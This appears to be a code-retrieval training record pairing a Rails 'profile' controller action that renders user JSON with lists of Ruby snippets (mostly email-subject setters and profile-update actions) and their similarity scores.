"def chore_notification_email(assignment)\n @user = assignment.user\n @chore = assignment.chore\n @due_date = assignment.due_date.to_formatted_s(:long_ordinal)\n @url = complete_chore_url(assignment)\n sendgrid_category \"Chore Notification\"\n # sendgrid_unique_args :key2 => \"newvalue2\", :key3 => \"value3\"\n mail :to => @user.email, :subject => \"#{@user.name}. You've got a chore!\"\n end",
"def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end",
"def set_subject\n @subject = Subject.friendly.find(params[:id])\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def setSubject(subject)\n @fields['subject'] = subject\n self\n end",
"def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end",
"def subject_name=(value)\n @subject_name = value\n end",
"def subject_for(template, attributes = {})\n subject = EmailTemplate.subject_for(template)\n subject = I18n.t(\"email_templates.#{template}.default_subject\") if subject.nil?\n subject = \"No Subject\" if subject.nil?\n Florrick.convert(subject, add_default_attributes(attributes))\n end",
"def subject=(text)\n current_div.text_field(:id=>\"comp-subject\").set text\n end",
"def assign_canned_subject\n self.subject = canned_subject\n end",
"def subject_topic\n map_field(:subject_topic)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end",
"def subject\n self['subject']\n end",
"def subject=(subject)\n self.subjects = [subject]\n end",
"def email_subject(&blk)\n @email_subject_block = blk if blk\n @email_subject_block\n end",
"def subject\n message.subject\n end",
"def subject_name\n subject_full_name\n end",
"def subject\n @subject ||= \"(sans sujet)\"\n if @no_header_subject.nil?\n \"#{header_subject}#{@subject}\"\n else\n @subject\n end\n end",
"def SetSubject(subject)\n\t\t#Subject of document\n\t\t@subject = subject\n\tend",
"def konsalt_mail params\n build_params params\n send_email t('emails.konsalta_mail.subject')\n end",
"def email_subject\n sponsor_name = @config.plan.sponsor_name\n display_date = @date.to_s()\n if @config.div_id.present?\n email_subject = \"Payroll report for #{sponsor_name} for division #{@config.division_name}: #{display_date}\"\n else\n email_subject = \"Payroll report for #{sponsor_name}: #{display_date}\"\n end\n return email_subject\n end",
"def set_title\n @title = t(:message_0, :scope => [:controller, :scholarships])\n end",
"def get_subject\n\t\tend",
"def set_subject\n url = Settings.hqva_mobile.url\n icn = user.icn\n appointment_id = data[:appointment_id]\n\n {\n use: SUBJECT_USE,\n value: \"#{url}/appointments/v1/patients/#{icn}/Appointment/#{appointment_id}\"\n }\n end",
"def initialize\n self.mailer = SendGrid::Mail.new\n smtpapi.add_category Emque::Consuming.application.config.app_name\n smtpapi.add_category Inflecto.underscore(self.class.name)\n self\n end",
"def filter_mail(email, threaded=false)\n\n unless check_email_addresses(email) #first check if email address matches category\n check_subject_and_body(email) #Second check each word in subject and body against keywords in categories\n end\n\n if !threaded\n email.save\n email.category.cases << email.case\n end\n\n return email\n end",
"def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end",
"def subject; @message_impl.getSubject; end",
"def subject(*args)\n subject = \"#{Settings['application']['name']} | \"\n subject << args.join(' ') if args.present?\n subject\n end",
"def subject_name\n return @subject_name\n end",
"def subject(*extra)\n subject = \"\"\n subject << \"#{@project.name} | \" if @project\n subject << extra.join(' | ') if extra.present?\n subject\n end",
"def community_member_email(sender, recipient, email_subject, email_content, community)\n @email_type = \"email_from_admins\"\n set_up_layout_variables(recipient, community, @email_type)\n with_locale(recipient.locale, community.locales.map(&:to_sym), community.id) do\n @email_content = email_content\n @no_recipient_name = true\n premailer_mail(:to => recipient.confirmed_notification_emails_to,\n :from => community_specific_sender(community),\n :subject => email_subject,\n :reply_to => \"\\\"#{sender.name(community)}\\\"<#{sender.confirmed_notification_email_to}>\")\n end\n end",
"def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end",
"def normalize_subject_name\n self.subject = subject.downcase.titleize\n end",
"def subject\n map_field(:subject)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end",
"def set_subject\n\t\t\t@subject = Subject.find(params[:id])\n\t\tend",
"def set_subject\n @subject = Subject.find(params[:subject_id])\n end",
"def subject\n @subject\n end",
"def subject\n @subject\n end",
"def set_subject\n @subject = Subject.find params[:subject_id]\n end",
"def set_project_subject\n @project_subject = ProjectSubject.find(params[:id])\n end",
"def data_subject=(value)\n @data_subject = value\n end",
"def newcompany_email(company)\n @company = company\n @message = t('mailers.company.created')\n \n emails = AdminUser.all.collect(&:email).join(\",\")\n\n mail(:to => emails, :subject => \"#{t('site_title')}: #{@message}\")\n \n end",
"def custom_mail( user, subject, title, contents )\n @user = user\n @host = GogglesCore::AppConstants::WEB_MAIN_DOMAIN_NAME\n @contents = contents\n @title = title\n #subject: \"[#{ GogglesCore::AppConstants::WEB_APP_NAME }@#{ @host }] #{ subject }\",\n mail(\n subject: \"#{ subject } [#{GogglesCore::AppConstants::WEB_APP_NAME}]\",\n to: user.email,\n date: Time.now\n )\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def subject\n @subject\n end",
"def set_subject\n @subject = Subject.find(params[:id])\n end",
"def set_title\n @title = t(:message_2, :scope => [:controller, :exams])\n end",
"def mailer=(class_name); end",
"def set_mysubject\n @mysubject = Mysubject.find(params[:id])\n end",
"def contact_type_category(type)\n 'default_' + type + '_of_org_' + id.to_s\n end",
"def send_email\n \n if self.category == \"Success\"\n \n UserMailer.success_notification_email(c.user.perfil.emailadicional1,c.xml_file_name).deliver\n \n elsif self.category == \"Warning\"\n \n UserMailer.warning_notification_email(c.user.perfil.emailadicional1,c.xml_file_name).deliver\n \n elsif self.category == \"Error\"\n \n UserMailer.error_notification_email(c.user.perfil.emailadicional1,c.xml_file_name).deliver\n \n end\n \n end"
] | [
"0.72636276",
"0.65522796",
"0.6377444",
"0.6376773",
"0.63184136",
"0.6290704",
"0.6259525",
"0.625898",
"0.6226775",
"0.6215164",
"0.61077064",
"0.6078173",
"0.5974807",
"0.5974807",
"0.5974807",
"0.5974807",
"0.5974807",
"0.5974807",
"0.5974807",
"0.5974807",
"0.59291524",
"0.59221375",
"0.5916339",
"0.5916339",
"0.5916339",
"0.5916339",
"0.5916339",
"0.5916339",
"0.5909917",
"0.5900918",
"0.5853257",
"0.5839986",
"0.5835367",
"0.58035874",
"0.5793748",
"0.5749136",
"0.57294816",
"0.5729302",
"0.5729302",
"0.5729302",
"0.5729302",
"0.57270324",
"0.5724607",
"0.5717425",
"0.57108045",
"0.5672345",
"0.5666945",
"0.56432843",
"0.55851436",
"0.55809504",
"0.5572789",
"0.55652934",
"0.5565247",
"0.55069",
"0.5488967",
"0.5460786",
"0.54567724",
"0.5441249",
"0.540695",
"0.54014915",
"0.53983086",
"0.5390297",
"0.5389078",
"0.5386604",
"0.538652",
"0.5374963",
"0.53595537",
"0.53572184",
"0.53449845",
"0.53383565",
"0.5308459",
"0.5296033",
"0.5285493",
"0.5285493",
"0.5268258",
"0.5253046",
"0.5250553",
"0.52389",
"0.52329105",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.52323407",
"0.5216242",
"0.5214856",
"0.5214585",
"0.52039033",
"0.5188182",
"0.5174738",
"0.51741874"
] | 0.0 | -1 |
before_action :set_user, only: [:update] ,only:[:profile] | def profile
p @user.as_json
render json: @user.as_json
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_profile_edit\n\n\n end",
"def edit_profile\n end",
"def edit_profile\n \t@user = current_user\n end",
"def update\n # @profile = Profile.find(profile_params[:id])\n @user = current_user\n @profile = @user.profile\n # @user.profile = @profile\n # redirect_to(profile_path)\n\n # @user.update(user_params) #from the private method below - whitelist check\n\n \n\n respond_to do |format|\n if @profile.update(profile_params)\n\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if current_user.user_profile\n @user_profile=UserProfile.find(params[:id])\n @user_profile.update_attributes(params[:user_profile])\n flash[:notice]= t(:edit_profile)\n else\n @user_profile = UserProfile.new(params[:user_profile])\n @user_profile.user_id = current_user.id if !current_user.is_admin?\n @user_profile.save\n flash[:notice]= t(:new_profile)\n end\n redirect_to(:action=>\"edit\") \n end",
"def edit\n @user = User.find(params[:user_id])\n @profile = @user.profile\n \n end",
"def set_profile\n @user = current_user\n @profile = @user.profile\n end",
"def update\n authorize @profile\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to quit_user_profile_path , notice: \"Profile: #{I18n.t('helpers.saved')}\" }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @profile\n respond_to do |format|\n if @user.update_attributes(params[:user].permit(:username)) && @profile.update_attributes(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def profile_edit\n @user = User.find(current_user.id)\n end",
"def update\n respond_to do |format|\n if @user.update(user_params) && @user.user_profile.update(user_profile_params)\n format.html { redirect_to [:admin, @user], notice: t('activerecord.models.user') + ' 已成功更新.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @title = \"Edit Profile\"\n @user = current_user\n @user.profile ||= Profile.new\n @profile = @user.profile\n if param_posted?(:profile)\n if @user.profile.update_attributes(params[:profile])\n flash[:notice] = \"Changes saved.\"\n # redirect_to :controller => \"profile\", :action => \"index\"\n end\n end\n end",
"def update\n @profile = Profile.find_by_user_id(current_user.id)\n authorize! :update, @profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @user = current_user\n @profile = current_user.profile\n end",
"def set_user_and_profile\n @user = User.find(params[:id])\n @profile = @user.profile\n end",
"def edit\n authorize! :edit, @profile\n end",
"def update\n @user = User.find(current_user.id)\n @profile = @user.profile\n \n if @profile = params[:profile]\n redirect_to user_profile_path(current_user.name)\n else\n redirect_to edit_user_profile_path\n end\n end",
"def edit\n user = User.find(params[:user_id])\n @profile = user.profile\n end",
"def update\n @user = User.find( params[:user_id] ) #establish which user profile we are editing \n @profile = @user.profile #store user profile data in @profile variable \n if @profile.update_attributes(profile_params) # checking in db if data is updated\n flash[:success] = \"Profile Updated!\"\n redirect_to user_path( params[:user_id] ) # display the edited profile\n else\n render action: :edit #redirecting user to edit page\n end\nend",
"def update\n \n if current_user.update(user_params)\n Rails.cache.write(current_user.id,current_user)\n redirect_to users1_got_profile_path\n\n end\n end",
"def profile_update(user_to_update,user_with_session_to_use)\n send_as :profile\n from user_with_session_to_use\n to user_to_update\n profile render(:action=>\"/users/profile\",:assigns=>{:user=>user_to_update})\n profile_action \"A string\"\n mobile_profile render(:partial=>\"mobile\",:assigns=>{:user=>user_to_update})\n end",
"def set_profile\n @profile = Profile.find_by_id(params[:id])\n @user = User.find_by_id(@profile.user_id)\n end",
"def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = \"Ваш профиль успешно обновлён\"\n format.html { redirect_to(profile_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updated_profile\n \n @user = User.find_by_id(session[:user_id])\n \n @user.name = params[:user][:name]\n @user.email = params[:user][:email]\n @user.address = params[:user][:address]\n @user.city = params[:user][:city]\n @user.pincode = params[:user][:pincode]\n @user.state = params[:user][:state]\n @user.contact_no = params[:user][:contact_no]\n\n if @user.save\n flash[:notice] = \"Changes Updated Successfully\"\n redirect_to :action => \"admin_profile\"\n else\n flash[:notice] = \"Changes are not updated\"\n end # if @user.save\n\n end",
"def set_profile\n @profile = if params[:id]\n Profile.find_by!(user_id: params[:id])\n else\n Profile.find_by(user: current_user)\n end\n end",
"def edit_profile\n @user = User.find params[:id]\n end",
"def user_update\n \t saveupdateProfile = UsersService.updateProfile(user_profile_params)\n \t if saveupdateProfile \n \t \tredirect_to users_path, notice: \"Successfully Updated!!!.\"\n \t else\n flash[:error] = \"Something wrong in User Update Please Check again.\"\n \t \trender :edit_profile\n \t end\n end",
"def update\n @user = User.find(params[:id])\n @profile = Profile.find @user.profile.id\n\n if @user.mooveit? && !params[:is_admin].nil?\n @user.role = Role.find_by_name Role::ADMIN_ROLE\n end\n\n if @user.admin? && params[:is_admin].nil?\n @user.role = Role.find_by_name Role::MOOVEIT_ROLE\n end\n\n\n respond_to do |format|\n if @user.update_without_password(params[:user]) && @profile.update_attributes(params[:profile])\n #format.html { redirect_to @user, notice: 'User was successfully updated.' }\n #format.json { head :no_content }\n @users = User.all\n format.js { render action: \"index\" }\n else\n #format.html { render action: \"edit\" }\n format.js { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n\t\t@user = User.find( params[:user_id] )\n\t\t@profile = @user.profile\n\tend",
"def update\n @user_profile = User.find(current_user.id)\n status=@user_profile.update_attributes(:username=>params[:user][:username])\n redirect_to(:action=>'index')\n # respond_to do |format|\n # if @user_profile.update_attributes(params[:user_profile])\n # format.html { redirect_to @user_profile, notice: 'User profile was successfully updated.' }\n # format.json { head :ok }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @user_profile.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def update\n # Retrieve user from the database\n @user = User.find(params[:user_id])\n # Assign user profile to an instance variable\n @profile = @user.profile\n # Mass assign edited profile attributes and save. \n if @profile.update_attributes(profile_params)\n flash[:success] = \"Profile updated!\"\n # Redirect to profile page. \n redirect_to user_path(id: params[:user_id])\n else\n # TODO: don't dump the user's inputs if save to database fails. \n render action: :edit\n end\n end",
"def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n current_user.admin? ? true : params[:profile][:id] = current_user.id\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n current_user.admin? ? true : params[:profile][:id] = current_user.id\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @user = User.find(params[:id])\n authorize! :manage, User\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to :controller=>'admin/user_profiles', :action => 'index' }\n format.json { head :no_content }\n else\n format.html \n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @user = User.find (params[:user_id])\n @profile = @user.profile\n end",
"def update\n @profile = Profile.find_by_user_id params[:user_id]\n\n if @profile.update_attributes(params[:profile])\n redirect_to user_profile_path(params[:user_id])\n else\n flash[:alert] = @profile.errors.full_messages.join(\",\")\n render :template => \"profiles/edit\"\n end\n\n end",
"def edit\n @user.profile ||= Profile.new\n @profile = @user.profile\n end",
"def edit\n if current_profile!=@profile\n redirect_to root_url, notice: 'Permission denied'\n end\n end",
"def set_profile\r\n @user = Account.find(params[:id])\r\n end",
"def set_profile\n @user = User.find(params[:id])\n end",
"def set_profile\n @profile = current_user\n end",
"def update_profile\n user = @current_user\n user.first_name = params[:first_name]\n user.phone_no = params[:phone_no]\n user.email = params[:email]\n user.save!\n if (user.role == \"user\")\n redirect_to categories_path\n elsif (user.role == \"clerk\")\n redirect_to clerks_path\n else\n redirect_to \"/dashboard\"\n end\n end",
"def update\n # render :text => \"<pre>#{params.to_yaml}</pre>\" and return\n @profile = Profile.find(params[:id])\n # @profile = Profile.find_or_create_by_user_id(@user.id)\n unless params.empty?\n @profile.update_attributes(params[:profile])\n @profile.user.update_attributes(params[:user])\n end\n respond_to do |format|\n if @profile.errors.empty? && @profile.user.errors.empty?\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(@profile) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors + @profile.user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_profile = UserProfile.find(params[:id])\n\n respond_to do |format|\n if @user_profile.update_attributes(params[:user_profile])\n session[:user_profile] = @user_profile\n format.html { redirect_to user_orders_path, notice: '用户资料已更新!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_profile\n @user = User.find(params[:id])\n @profile = @user.profile\n end",
"def update\n #@profile = UsersDisciplines.find(params[:id])\n @profile = Profile.find_by_user_id(current_user.id)\n \n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to users_profile_index_path, notice: t(:profile_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @profile.update_attributes params[:profile]\n @profile.user.index!\n format.html { redirect_to get_stored_location, :notice => t('profile.profile_updated') }\n else\n format.html { render :action => :edit }\n end\n end\n end",
"def update\n\t# no longer needed since the before_filter actions already\n\t# initialize this variable\n @user = User.find(params[:id])\n if @user.update_attributes(user_params)\n flash[:success] = \"Profile updated\"\n redirect_to @user\n else\n render 'edit'\n end\n end",
"def set_user_profile\n @user_profile = current_user.user_profile\n end",
"def update\n @profile = Profile.find_by_user_id(current_user.id)\n\n if @profile.update_attributes(params[:profile])\n flash[:notice] = \"Personal info saved sucessfuly\"\n else\n error_messages(@profile)\n end\n\n redirect_to edit_profile_path\n end",
"def set_profile\n @profile = Profile.find_by(user_id: current_user.id)\n end",
"def update\n @profile = Profile.find(params[:id])\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(show_user_path(current_user.username)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_profile\n\t\t@profile = current_user.profile\n\tend",
"def edit\n redirect_to action: 'edit_profile'\n end",
"def profile\n\n end",
"def set_profile\n @profile = Profile.find(params[:id])\n unless current_user.profiles.find_by(id: @profile.id)\n authorize @profile\n end\n end",
"def edit\n @user.build_user_profile unless @user.user_profile\n end",
"def update\n\t\t@user = current_user\n\t\t@profile = @user.profile\n\t\[email protected]_columns(profile_params)\n\t\trespond_with @profile \n\tend",
"def update\n @profile = Profile.find(params[:id])\n\t\t\n\t\t# Check to see if this user matches the profile, if not don't let them do anything\n\t\tif @profile.id != Profile.find_by_user_id(current_user.id).id\n \tredirect_to :permission_error\n end\n\t\t\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = 'Your profile was successfully updated'\n format.html { render action: 'edit', notice: 'Profile was successfully updated' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, :notice => 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @current_user.id == params[:id].to_i && \\\n @current_user.update_attributes(params[:user])\n flash[:success] = \"profile was successfully updated\"\n redirect_to individual_path(@current_user.id)\n else\n flash[:error] = \"update error, please try again\"\n @user = @current_user\n render(:action => \"edit\")\n end\n end",
"def update\n if current_user.update(user_params)\n redirect_to current_user, notice: t(\"profile.updated\")\n else\n render \"edit\"\n end\n end",
"def update \n if @user.update(user_params)\n flash[:success] = \"Profile updated\"\n redirect_to :action => 'edit'\n else\n render 'edit'\n end \n \n end",
"def update\n @user = User.find(self.current_user.id)\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n redirect_to :action => 'profile'\n else\n render :action => 'edit'\n end\n end",
"def edit\n #@user = User.find(params[:id]) \n #replced by the before_action at the top\n end",
"def update\n if @profile.update_attributes(profile_params)\n redirect_to @profile, notice: \"Your profile has been updated\"\n else\n render :edit\n end\n end",
"def set_userprofile\n @userprofile = Userprofile.find(params[:id])\n end",
"def update\n\n #can be done by correct_user function\n #@user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'Profile successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_user_profile(profile_form)\n isUpdateProfile = UserService.updateProfile(profile_form)\n if isUpdateProfile\n redirect_to users_path\n else\n asdasd\n render :edit_profile\n end\n end",
"def update\n if @profile.update(profile_params)\n redirect_to @profile\n else\n render :edit\n end\n end",
"def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to (user_profile_path(current_user)), notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @profile = User.find(params[:id])\n end",
"def set_user_profile\n @user_profile = User.find(params[:id])\n authorize @user_profile\n end",
"def update_user\n end",
"def update\n @profile = User.find(params[:id])\n \n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to profile_path(@profile) }\n else\n flash[:alert] = \"unable to update. Please check the data.\"\n format.html { render 'edit' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_profile.update_attributes(params[:user_profile])\n format.html { redirect_to home_index_url, :notice => 'Корисничкиот профил е успешно ажуриран.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_profile\n @profile = Profile.find(params[:profile_id])\n end",
"def update\n @user = User.find(params[:id])\n\n redirect_url = params.has_key?(\"admin_fxn\") ? ('/users/' + @user.id.to_s + '/edit') : '/profile'\n\n if params[\"commit\"]\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to redirect_url, notice: 'User successfully updated.' }\n format.json { head :no_content }\n else\n format.html {\n if params.has_key?(\"admin_fxn\")\n @admin_function = true\n @current_user = current_user\n render action: 'edit'\n else\n @admin_function = false\n @current_user = current_user\n render action: 'profile'\n end\n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to redirect_url\n end\n end",
"def update\n unless current_user == @user.user\n respond_to do |format|\n format.html { redirect_to profiles_path, alert: 'You have improper permissions to edit this profile.' }\n format.json { head :no_content }\n end\n return\n end\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to profile_path, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @user ja el troba el before_filter correct_user\n # @user = User.find(params[:id]) \n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :flash => { success: 'Profile updated.'} }\n format.json { head :ok }\n else\n format.html { \n @title = \"Edit user\"\n render \"edit\" \n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_params_update\n params.permit(:name, :profile_id)\n end",
"def update_profile\n \t@user = User.find_by_id(params[:id])\n \tif @user.nil?\n render :json => {:message => \"User not exists\"}, :status => :not_acceptable\n else\n \tbegin\n\t @user.update_attributes(params[:user])\n\t @user.save!\n\t render :json => {:success => true, :message => \"User updated\", :user =>@user}, :status => :ok\n\t rescue Exception => e\n\t \tp e.backtrace\n\t render :json => {:success => false, :message => e.backtrace}, :status => :not_acceptable\n\t end\n end\n end",
"def update\r\n params = profile_params\r\n params.delete(\"id\")\r\n params.delete(\"user\")\r\n respond_to do |format|\r\n if @profile.update(params)\r\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @profile }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @profile.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def set_profile\n @profile = current_user.profiles.find(params[:id])\n end",
"def set_profile\n end",
"def set_profile\n @profile = User.friendly.find(params[:user_id]).profile\n end",
"def update\n @profile = @user.profile \n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = t('profiles.new.success')\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find_by_id(current_user.id)\n if @user.update(user_params)\n redirect_to profile_index_path\n else\n render profile_edit_path\n end\n end",
"def update\n if params[:id] == current_user.id.to_s\n @user = User.find(params[:id])\n @user.update_attributes!(params[:user])\n end\n redirect_to edit_profile_path(current_user.id)\n end",
"def user\n\n \n @profile = Profile.find_by_user_id(params[:id])\n\n\nend",
"def update\n if conditionally_update\n handle_successful_update\n redirect_to hyrax.dashboard_profile_path(@user.to_param), notice: \"Your profile has been updated\"\n else\n redirect_to hyrax.edit_dashboard_profile_path(@user.to_param), alert: @user.errors.full_messages\n end\n end",
"def set_profile_user\n @profile_user = ProfileUser.find(params[:id])\n end",
"def updateProfile\r\n errors ||= Array.new\r\n\t\tdataHash = {\r\n user_id: params[:user].id,\r\n asset_id: params[:asset_id],\r\n\t\t\tfname: params[:fname],\r\n\t\t\tlname: params[:lname],\r\n\t\t\tgender: params[:gender],\r\n\t\t\tbio: params[:bio],\r\n\t\t\tfamilyStatus: params[:familyStatus],\r\n\t\t\tbdate: params[:bdate]\r\n\t\t}\r\n\t\terrors = Api::Init.MembersControl.checkProfileParams(dataHash)\r\n\t\tif errors.count != 0 \r\n\t\t\trender :json => Api::Init.ShowErrorJson(API_CODE_ERRORS['Services']['Global']['profile_errors'],I18n.t(\"errors.messages.users.profile_errors\"), errors).to_json\r\n else\r\n \tuserProfileObject = UsersProfile.byUser(params[:user].id).first\r\n userProfileObject.updateProfile(dataHash)\t\r\n self.default_response\r\n end\r\n\tend",
"def set_user_profile\n @user = User.find_by_id(params[:id])\n end",
"def set_profile\n u_id = params[:user_id]\n @profile = Profile.where(user_id: u_id)\n end",
"def update\n=begin\n @profile = Profile.find(params[:id])\n authorize @profile\n if @profile.update(profile_params)\n #redirect_to @profile\n render :edit, notice: \"Profile blah\"\n else\n render :edit\n end\n=end\n\n\n authorize @profile\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n # Listing 9.14: Finding the correct user is now handled by the correct_user before_action.\n if @user.update_attributes(user_params)\n # Listing 9.10: Handle a succesfull update\n flash[:success] = \"Profile updated\"\n redirect_to @user\n else\n render 'edit'\n end\n end",
"def update_specialist\n\t\tif !params[:profile_setting].present?\n\t\t\tredirect_to user_profile_data_profile_path \n\t\telse\n\t\t\t# update the profile update images like cover photo and profile photo\n\t\t \t@profile_specialist = @user.update_attributes(profile_setting_specialist_params)\n\t\t \t# redirect to the user profile app page\n\t\t \tredirect_to user_profile_data_profile_path\n\t\tend\n\tend",
"def set_personal_profile\n @personal_profile = current_user.personal_profile\n if not @personal_profile.user_id==current_user.id\n redirect_to root_path\n end\n\n end",
"def profile\n \n end",
"def profile\n authorize @profile\n end"
] | [
"0.789721",
"0.76940334",
"0.7626223",
"0.75246626",
"0.73746663",
"0.7359051",
"0.73206717",
"0.73023605",
"0.7262557",
"0.72412753",
"0.72296643",
"0.72288847",
"0.7222599",
"0.72112167",
"0.7207946",
"0.72045183",
"0.7193295",
"0.7191214",
"0.71895313",
"0.713199",
"0.7122381",
"0.71131265",
"0.7097432",
"0.7097417",
"0.7096996",
"0.70956504",
"0.70872724",
"0.7080811",
